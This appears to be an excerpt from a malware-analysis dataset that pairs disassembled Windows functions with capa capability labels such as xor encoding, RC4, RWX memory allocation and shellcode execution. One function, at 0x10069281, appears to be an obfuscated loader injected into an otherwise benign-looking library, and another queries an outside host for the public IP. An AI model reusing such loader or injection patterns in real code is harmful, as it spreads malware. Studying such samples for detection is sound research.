joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004c30
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
xor ecx, ecx
xor edx, edx
mov esi, dword [esp + 0x14]
mov ebp, dword [esp + 0x18]
mov edi, dword [esp + 0x1c]
mov cl, byte [esi + 0x100]
mov dl, byte [esi + 0x101]
test ebp, ebp
je 0x10004c7f
inc ecx
mov ebx, 0xff
and ecx, ebx
xor eax, eax
mov al, byte [esi + ecx]
add edx, eax
and edx, ebx
xor ebx, ebx
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
mov byte [esi + edx], al
add al, bl
mov bl, byte [edi]
mov al, byte [esi + eax]
xor bl, al
mov byte [edi], bl
inc edi
dec ebp
jne 0x10004c54
pop ebp
pop edi
lea eax, [esi + 0x100]
pop esi
mov byte [eax], cl
pop ebx
mov byte [eax + 1], dl
ret 0xc

Function at 0x10004c91
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
mov eax, 0x3020100
push esi
mov ecx, 0x40
mov esi, dword [esp + 0xc]
push edi
mov edx, esi
push ebp
mov dword [edx], eax
add edx, 4
add eax, 0x4040404
dec ecx
jne 0x10004ca5
xor ecx, ecx
xor edi, edi
mov ebp, dword [esp + 0x1c]
mov byte [esi + 0x100], cl
mov byte [esi + 0x101], cl
xor ebx, ebx
xor edx, edx
xor eax, eax
mov dl, byte [edi + esi]
mov al, byte [ebp + ecx]
add bl, al
inc ecx
add bl, dl
inc edi
mov al, byte [ebx + esi]
mov byte [edi + esi - 1], al
cmp dword [esp + 0x18], ecx
mov byte [ebx + esi], dl
jne 0x10004ceb
xor ecx, ecx
cmp edi, 0x100
jb 0x10004cc8
pop ebp
pop edi
pop esi
pop ebx
ret 0xc

Function at 0x100055a0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 0x10]
mov eax, dword [ecx + 8]
cmp eax, 1
je 0x100055ec
jle 0x100055e7
cmp eax, 3
jg 0x100055e7
push esi
mov esi, dword [ecx]
test esi, esi
je 0x100055de
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x10]
push ebx
sub ecx, eax
push edi
sub edx, eax
mov edi, dword [ecx + eax]
mov ebx, dword [eax]
xor edi, ebx
mov dword [edx + eax], edi
add eax, 4
dec esi
jne 0x100055cc
pop edi
pop ebx
mov eax, 1
pop esi
ret 0x10
xor eax, eax
ret 0x10
mov eax, dword [ecx + 0x10]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
push eax
mov eax, dword [esp + 8]
push ecx
push edx
push eax
call fcn.100188d5
mov eax, 1
ret 0x10

Function at 0x10005b60
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 0x10]
mov eax, dword [ecx + 8]
cmp eax, 1
je 0x10005bac
jle 0x10005ba7
cmp eax, 3
jg 0x10005ba7
push esi
mov esi, dword [ecx]
test esi, esi
je 0x10005b9e
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x10]
push ebx
sub ecx, eax
push edi
sub edx, eax
mov edi, dword [ecx + eax]
mov ebx, dword [eax]
xor edi, ebx
mov dword [edx + eax], edi
add eax, 4
dec esi
jne 0x10005b8c
pop edi
pop ebx
mov eax, 1
pop esi
ret 0x10
xor eax, eax
ret 0x10
mov eax, dword [ecx + 0x10]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
push eax
mov eax, dword [esp + 8]
push ecx
push edx
push eax
call fcn.10006a50
mov eax, 1
ret 0x10
Function at 0x10006080
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
mov esi, dword [esp + 0x124]
push edi
mov eax, dword [esi + 8]
mov ebx, dword [esi]
mov edi, dword [esi + 4]
mov ecx, dword [esi + 0x124]
sub eax, 2
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], edi
mov dword [esp + 0x18], ecx
je 0x100061c2
dec eax
je 0x100060c6
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret 0xc
mov ecx, dword [esi + 0x20]
push esi
mov edi, ecx
lea eax, [esp + 0x20]
and ecx, 0x1f
mov ebx, 1
push 1
push eax
shr edi, 5
shl ebx, cl
call fcn.10005610
test eax, eax
mov ebp, dword [esp + 0x124]
je 0x10006104
push esi
push 1
push ebp
call fcn.10005610
test eax, eax
je 0x10006104
mov eax, 1
jmp 0x10006106
xor eax, eax
mov ecx, dword [esp + 0x10]
lea edi, [esp + edi*4 + 0x1c]
cmp ecx, 1
mov dword [edi], ebx
je 0x10006177
dec ecx
mov dword [esp + 0x10], ecx
test eax, eax
je 0x10006164
lea ecx, [esp + 0x1c]
push esi
lea edx, [esp + 0x20]
push ecx
lea eax, [esp + 0x24]
push edx
push eax
call fcn.10005990
test eax, eax
je 0x10006164
push esi
push ebp
push ebp
push ebp
call fcn.10005990
test eax, eax
je 0x10006164
mov ecx, dword [esp + 0x120]
push esi
push ebp
push ebp
lea edx, [esp + 0x28]
push ecx
push edx
call fcn.10005a00
test eax, eax
je 0x10006164
mov eax, 1
jmp 0x10006166
xor eax, eax
mov edx, dword [edi]
mov ecx, dword [esp + 0x10]
xor edx, ebx
dec ecx
mov dword [edi], edx
mov dword [esp + 0x10], ecx
jne 0x1000611a
test eax, eax
je 0x100060b7
lea eax, [esp + 0x1c]
push esi
push eax
push ebp
push ebp
push ebp
call fcn.10005a00
test eax, eax
je 0x100060b7
mov ecx, dword [esp + 0x120]
push esi
lea edx, [esp + 0x20]
push ecx
push edx
call fcn.100188d5
test eax, eax
je 0x100060b7
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10c
ret 0xc
xor esi, esi
xor edx, edx
test edi, edi
mov edi, dword [esp + 0x124]
je 0x10006219
mov ebx, dword [esp + 0x120]
mov eax, edx
shr eax, 5
mov ecx, edx
mov ebx, dword [ebx + eax*4]
and ecx, 0x1f
shr ebx, cl
mov ebp, dword [edi + eax*4]
and ebx, 1
xor esi, ebx
mov ebx, esi
not ebx
and ebx, 1
shl ebx, cl
not ebx
and ebx, ebp
mov ebp, esi
and ebp, 1
shl ebp, cl
or ebx, ebp
inc edx
mov dword [edi + eax*4], ebx
mov eax, dword [esp + 0x10]
cmp edx, eax
jne 0x100061d1
mov ebx, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov edx, dword [edi + ebx*4 - 4]
xor eax, eax
test esi, esi
sete al
shl edx, cl
shr edx, cl
mov dword [edi + ebx*4 - 4], edx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret 0xc

Function at 0x10007440
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x24
lea eax, [esp]
push eax
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [esp + 0x18]
sub eax, 0x182
je 0x10007474
sub eax, 0x64
je 0x10007474
sub eax, 0x64
cmp word [esp + 0x20], 6
jb 0x10007474
push 0xc
call fcn.1000d220
add esp, 0x24
ret
push 4
call fcn.1000d220
add esp, 0x24
ret
Function at 0x1000c770
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0x10]
sub esp, 0x51c
lea edx, [eax + 0x1f]
push ebx
push ebp
lea ebp, [ecx + 0x1f]
push esi
shr edx, 5
shr ebp, 5
cmp edx, ebp
mov ebx, edx
ja 0x1000c795
mov ebx, ebp
mov ecx, dword [esp + 0x53c]
xor esi, esi
xor eax, eax
cmp ecx, esi
setne al
cmp ebx, esi
mov dword [esp + 0xc], eax
je 0x1000c99c
cmp ebx, 0x40
ja 0x1000c99c
lea eax, [esp + 0x324]
mov ecx, ebx
mov dword [eax - 0x204], esi
mov dword [eax], esi
mov dword [eax - 0x104], esi
mov dword [eax + 0x100], esi
add eax, 4
dec ecx
jne 0x1000c7c3
mov ecx, dword [esp + 0x120]
mov esi, dword [esp + 0x52c]
xor ecx, 1
push edi
mov dword [esp + 0x124], ecx
mov ecx, edx
lea edi, [esp + 0x224]
push edx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x53c]
lea ecx, [ebp*4]
mov dword [esp + 0x24], ecx
mov eax, ecx
lea edi, [esp + 0x42c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x534]
push ecx
call fcn.100188d5
push ebp
mov edx, dword [esp + 0x53c]
mov dword [esp + 0x328], eax
push edx
call fcn.100188d5
xor edx, edx
mov dword [esp + 0x528], eax
mov eax, edx
mov dword [esp + 0x18], edx
shl eax, 7
add eax, edx
shl eax, 2
mov ecx, eax
neg ecx
mov esi, dword [esp + ecx + 0x528]
test esi, esi
je 0x1000c93e
lea esi, [esp + eax + 0x124]
lea ebp, [esp + ecx + 0x328]
mov dword [esp + 0x1c], ebp
mov eax, dword [esi + 0x200]
mov ecx, dword [ebp + 0x200]
cmp eax, ecx
jb 0x1000c930
sub eax, ecx
push ebx
mov edi, eax
lea eax, [esp + 0x28]
push eax
lea eax, [ebp + 0x100]
push edi
push eax
call fcn.1000b030
lea edx, [esi + 0x100]
lea ecx, [esp + 0x24]
mov eax, edx
mov dword [esp + 0x14], ebx
mov ebp, dword [ecx]
add ecx, 4
xor dword [eax], ebp
mov ebp, dword [esp + 0x14]
add eax, 4
dec ebp
mov dword [esp + 0x14], ebp
jne 0x1000c8c2
push ebx
push edx
call fcn.100188d5
mov dword [esi + 0x200], eax
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1000c914
mov ebp, dword [esp + 0x1c]
lea ecx, [esp + 0x24]
push ebx
push ecx
push edi
push ebp
call fcn.1000b030
lea ecx, [esp + 0x24]
mov eax, esi
sub ecx, esi
mov edx, ebx
mov edi, dword [ecx + eax]
xor dword [eax], edi
add eax, 4
dec edx
jne 0x1000c907
jmp 0x1000c918
mov ebp, dword [esp + 0x1c]
mov eax, dword [esi + 0x200]
mov ecx, dword [ebp + 0x200]
cmp eax, ecx
jae 0x1000c89b
mov edx, dword [esp + 0x18]
mov eax, 1
sub eax, edx
mov edx, eax
jmp 0x1000c854
mov edi, dword [esp + 0x544]
test edi, edi
je 0x1000c95b
mov eax, edx
mov ecx, ebx
shl eax, 7
add eax, edx
lea esi, [esp + eax*4 + 0x224]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1000c98a
mov ecx, dword [esp + 0x20]
mov edi, dword [esp + 0x540]
mov eax, edx
shl eax, 7
add eax, edx
mov edx, ecx
shr ecx, 2
lea esi, [esp + eax*4 + 0x124]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x51c
ret 0x18
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x51c
ret 0x18
Function at 0x10020655
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x428
mov eax, 0x100279c3
call fcn.1002568a
mov edx, dword [ebp + 0xc]
xor ebx, ebx
mov eax, dword [ebp + 8]
mov esi, ebx
mov dword [ebp - 0x42c], edx
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x428], edx
mov dword [ebp - 0x424], esi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x430], ecx
mov dword [ebp - 0x434], ebx
mov dword [ebp - 0x418], ebx
mov byte [ebp - 4], 1
test eax, eax
je 0x10020876
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
inc eax
push 2
push eax
mov dword [ebp - 0x420], eax
lea eax, [ebp - 0x420]
push eax
call fcn.100188d5
add esp, 0x10
test eax, eax
js 0x10020870
mov edi, dword [ebp - 0x420]
cmp edi, 0x400
jg 0x100206f9
push edi
call fcn.1001a3b8
pop ecx
test al, al
je 0x100206f9
mov eax, edi
call fcn.10025830
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x1002070b
push edi
lea ecx, [ebp - 0x424]
call fcn.100188d5
mov esi, dword [ebp - 0x424]
push 3
push edi
push dword [ebp - 0x41c]
push eax
call fcn.100188d5
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x10020870
push 0x60
push ebx
push eax
call fcn.10021bf8
mov edi, eax
mov dword [ebp - 0x420], edi
test edi, edi
jne 0x10020763
push 2
push ebx
push dword [ebp - 0x41c]
call fcn.10021bf8
mov edi, eax
mov dword [ebp - 0x420], eax
test edi, edi
jne 0x10020763
call fcn.10015691
mov ebx, eax
jmp 0x1002083f
push dword [ebp - 0x428]
push dword [ebp - 0x42c]
push edi
call dword [sym.imp.kernel32.dll_FindResourceA]
mov dword [ebp - 0x42c], eax
test eax, eax
jne 0x1002078a
call fcn.10015691
jmp 0x10020832
push eax
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x428], eax
test eax, eax
je 0x10020780
push dword [ebp - 0x42c]
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov dword [ebp - 0x41c], eax
lea ecx, [eax + 1]
cmp ecx, eax
jae 0x100207bd
mov ebx, 0x8007000e
jmp 0x10020834
push ecx
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.100188d5
jmp 0x100207e3
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
je 0x100207b6
mov eax, dword [ebp - 0x41c]
push eax
push dword [ebp - 0x428]
push eax
push dword [ebp - 0x418]
call fcn.100188d5
mov eax, dword [ebp - 0x418]
add esp, 0x10
mov ecx, dword [ebp - 0x41c]
push dword [ebp + 0x14]
mov byte [eax + ecx], bl
lea ecx, [ebp - 0x434]
push dword [ebp - 0x418]
call fcn.100188d5
mov ebx, eax
test edi, edi
je 0x1002083f
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x10020858
lea ecx, [ebp - 0x418]
call fcn.1001fe4b
or dword [ebp - 4], 0xffffffff
jmp 0x10020868
push esi
mov esi, dword [esi]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
jne 0x1002085e
mov eax, ebx
jmp 0x100208a4
mov ebx, dword [ebp - 0x418]
lea eax, [ebp - 0x414]
cmp ebx, eax
je 0x1002088b
lea ecx, [ebp - 0x418]
call fcn.1001fe4b
or dword [ebp - 4], 0xffffffff
jmp 0x1002089b
push esi
mov esi, dword [esi]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
jne 0x10020891
mov eax, 0x8007000e
lea esp, [ebp - 0x444]
call fcn.100255d7
ret 0x10
Function at 0x10014530
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x3c
mov eax, dword [0x1007a00c]
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
xor eax, ebp
mov dword [ebp - 0x10], eax
lea eax, [ecx + 0x10]
mov dword [ecx], edx
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 2
mov dword [ebp - 0x38], ecx
mov dword [ecx + 4], eax
mov eax, dword [0x1007a2f0]
mov ecx, dword fs:[0x2c]
mov edx, dword [0x1007a860]
mov eax, dword [ecx + eax*4]
cmp edx, dword [eax + 4]
jg 0x10014603
mov ecx, dword [0x1007a85c]
lea eax, [ebx + edi - 1]
xor edx, edx
xor edi, edi
div ecx
mov esi, eax
mov eax, ebx
xor edx, edx
div ecx
sub esi, eax
inc esi
mov dword [ebp - 0x48], esi
je 0x100145ee
mov ebx, eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x44], ecx
imul ebx, ecx
add eax, 4
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x34]
push eax
push 0x40
push ecx
push ebx
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
je 0x10014641
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov eax, dword [ecx + 8]
cmp eax, dword [ecx + 0xc]
je 0x10014652
mov edx, ecx
mov ecx, dword [ecx + 4]
inc edi
mov dword [ecx + eax*8], esi
mov dword [ecx + eax*8 + 4], ebx
inc dword [edx + 8]
mov ecx, dword [ebp - 0x44]
add ebx, ecx
cmp edi, dword [ebp - 0x48]
jne 0x100145b4
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10069260
mov eax, dword [ebp - 0x38]
add esp, 0x3c
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x1007a860
call fcn.10069281
add esp, 4
cmp dword [0x1007a860], 0xffffffff
jne 0x10014583
lea esi, [ebp - 0x34]
push esi
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [esi + 4]
mov dword [0x1007a85c], eax
push 0x1007a860
call fcn.10069281
add esp, 4
jmp 0x10014583
mov dword [ebp - 0x34], 0
mov ecx, dword [ebp - 0x38]
call fcn.100146f0
jmp 0x100145ee
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x3c], esi
call fcn.100147c0
test al, al
je 0x10014648
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x3c]
mov eax, dword [ecx + 8]
jmp 0x100145d4

Function at 0x10014670
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x28
mov eax, dword [0x1007a00c]
xor eax, ebp
mov dword [ebp - 8], eax
mov ecx, dword [0x1007a2f0]
mov edx, dword fs:[0x2c]
mov eax, dword [0x1007a860]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x100146b6
mov esi, dword [0x1007a85c]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10069260
mov eax, esi
add esp, 0x28
pop esi
pop ebp
ret
push 0x1007a860
call fcn.10069281
add esp, 4
cmp dword [0x1007a860], 0xffffffff
jne 0x1001469e
lea esi, [ebp - 0x2c]
push esi
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [esi + 4]
mov dword [0x1007a85c], eax
push 0x1007a860
call fcn.10069281
add esp, 4
jmp 0x1001469e
Function at 0x100146f0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [0x1007a00c]
mov esi, ecx
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1007a2f0]
mov edx, dword fs:[0x2c]
mov eax, dword [0x1007a860]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x10014770
mov eax, dword [esi + 8]
test eax, eax
jne 0x10014742
mov dword [esi + 8], 0
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10069260
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
mov ebx, dword [esi + 4]
mov ecx, dword [0x1007a85c]
lea edi, [ebx + eax*8]
mov dword [ebp - 0x38], ecx
lea eax, [ebp - 0x34]
push eax
push dword [ebx]
push dword [ebp - 0x38]
push dword [ebx + 4]
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
je 0x100147aa
add ebx, 8
cmp ebx, edi
je 0x10014729
jmp 0x10014751
push 0x1007a860
call fcn.10069281
add esp, 4
cmp dword [0x1007a860], 0xffffffff
jne 0x10014722
lea edi, [ebp - 0x34]
push edi
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [edi + 4]
mov dword [0x1007a85c], eax
push 0x1007a860
call fcn.10069281
add esp, 4
jmp 0x10014722
mov dword [ebp - 0x34], 0
jmp 0x10014767
Function at 0x10015c90
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x28
mov eax, dword [0x1007a00c]
xor eax, ebp
mov dword [ebp - 8], eax
mov ecx, dword [0x1007a2f0]
mov edx, dword fs:[0x2c]
mov eax, dword [0x1007a86c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jle 0x10015cf3
push 0x1007a86c
call fcn.10069281
add esp, 4
cmp dword [0x1007a86c], 0xffffffff
jne 0x10015cf3
lea esi, [ebp - 0x2c]
push esi
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [esi + 0x1c]
mov dword [0x1007a868], eax
push 0x1007a86c
call fcn.10069281
add esp, 4
mov esi, dword [0x1007a868]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10069260
mov eax, esi
add esp, 0x28
pop esi
pop ebp
ret

Function at 0x10016570
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 8
mov esi, ecx
mov ecx, dword [ecx + 0x34]
test ecx, ecx
je 0x100165f6
mov eax, dword [ebp + 0xc]
and ecx, 0xfffffffc
mov edi, edx
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp + 8]
call fcn.10014b70
test al, al
je 0x100165f6
mov dword [ebp - 0x10], ebx
push edi
push dword [esi + 0x34]
call dword [sym.imp.kernel32.dll_GetProcAddress]
test eax, eax
je 0x100165f6
mov ecx, eax
mov edi, eax
call fcn.10014b70
test al, al
je 0x100165f6
lea ecx, [esi + 0x18]
mov edx, edi
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call fcn.10016600
add esp, 8
mov ecx, eax
mov al, 1
test cl, cl
jne 0x100165f8
cmp byte [esi + 0x14], 0
jne 0x100165e6
mov dword [esi + 0x14], 1
mov dword [esi + 0x10], 0
mov ecx, esi
mov edx, edi
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
jmp fcn.10014be0
xor eax, eax
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10022c60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc
mov eax, dword [edx + 0x1c]
mov edi, edx
bt eax, 8
jb 0x10022c78
mov eax, dword [edi]
jmp 0x10022c8c
cmp eax, 0x370000
jae 0x10022cef
shr eax, 0x10
lea eax, [eax + eax*2]
mov eax, dword [eax*4 + 0x1006bd58]
mov dword [ecx], eax
mov esi, ecx
mov eax, dword [edi + 4]
mov dword [ecx + 4], eax
mov eax, dword [edi + 8]
mov dword [ecx + 8], eax
mov eax, dword [edi + 0x18]
mov dword [ecx + 0x18], eax
mov ebx, dword [edi + 0x10]
mov ecx, dword [edi + 0x14]
mov eax, ebx
mov edx, ecx
lock cmpxchg8b qword [edi + 0x10]
xor edx, ecx
xor eax, ebx
or eax, edx
jne 0x10022ca2
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], esi
mov esi, dword [ebp - 0x10]
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x18], eax
mov edi, dword [esi + 0x14]
mov edx, edi
lock cmpxchg8b qword [esi + 0x10]
xor eax, dword [ebp - 0x18]
xor edx, edi
or eax, edx
jne 0x10022cc2
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x1c], eax
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [sym.mozglue.dll_gMozCrashReason], str.MOZ_RELEASE_ASSERT_categoryPairIndex___uint32_t_ProfilingCategoryPair::LAST__
mov ecx, 0x42
int3

Function at 0x10022dd0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov ecx, dword [0x1007a2f0]
mov edx, dword fs:[0x2c]
mov eax, dword [0x1007b4d8]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jle 0x10022e57
push 0x1007b4d8
call fcn.10069281
add esp, 4
cmp dword [0x1007b4d8], 0xffffffff
jne 0x10022e57
push str.MOZ_BASE_PROFILER_VERBOSE_LOGGING
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
add esp, 4
test eax, eax
jne 0x10022e63
push str.MOZ_BASE_PROFILER_DEBUG_LOGGING
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
add esp, 4
test eax, eax
jne 0x10022e6a
push str.MOZ_BASE_PROFILER_LOGGING
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
lea eax, [ecx + ecx*2]
mov dword [0x1007b4d4], eax
push 0x1007b4d8
call fcn.10069281
add esp, 4
cmp dword [0x1007b4d4], esi
setge al
pop esi
pop ebp
ret
mov eax, 5
jmp 0x10022e45
mov eax, 4
jmp 0x10022e45
Function at 0x10069281
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x10069290
pop dword [ebp - 0x2c]
mov eax, 0xcb34d16e
add eax, 0x44d1c122
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x39a9a
push 0
mov eax, 0x7187e28b
add eax, 0x9e7f9c9d
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0xab7b8109
sub ecx, 0xab7b2efd
xor ebx, ebx
add ebx, eax
mov edx, 0xc14e09c3
sub edx, 0xb145dbc3
add edx, dword [ebp - 0x2c]
mov edi, 0x4ad7a39d
sub edi, 0xecbabd5b
add dword [ebp - 0x20], esi
mov esi, dword [edx]
sub dword [ebp - 0x1c], edi
add esi, edi
xor dword [ebp - 0x24], 0x4b1e60
mov dword [ebx], esi
add dword [ebp - 0x18], 0x10035865
add ebx, 0x21e2303d
sub ebx, 0x21e23039
add edx, 0xac3d04ba
add edx, 0x53c2fb4a
loop 0x100692f1
add eax, 0x8a1e702f
sub eax, 0x8a1d352c
xor ebx, ebx
add ebx, eax
add eax, 0xf6ffe300
sub eax, 0xf6ffe2fb
mov ecx, 0xb51aad5
add ecx, 0x4ae552b
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x4017d0
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push 0
push 0
push 0
push 0
push 0x404288
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
je 0x40188a
push 0
push 0
push 0
push 0
push str.http:__icanhazip.com_
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
je 0x40187e
lea ecx, [ebp - 0x6c]
push ecx
push 0x63
lea edx, [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x68]
test ecx, ecx
je 0x40187e
push 0x404314
lea edx, [ebp - 0x68]
push edx
call fcn.004018b0
add esp, 8
test eax, eax
je 0x40186b
lea eax, [ebp - 0x68]
push eax
call fcn.00401400
add esp, 4
lea ecx, [ebp - 0x68]
push ecx
push 0x404318
push 0x406068
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x40187e
push 0x404320
push 0x406068
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov edx, dword [ebp - 0x70]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40189d
push str._0.0.0.0_
push 0x406068
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x406068
mov esp, ebp
pop ebp
ret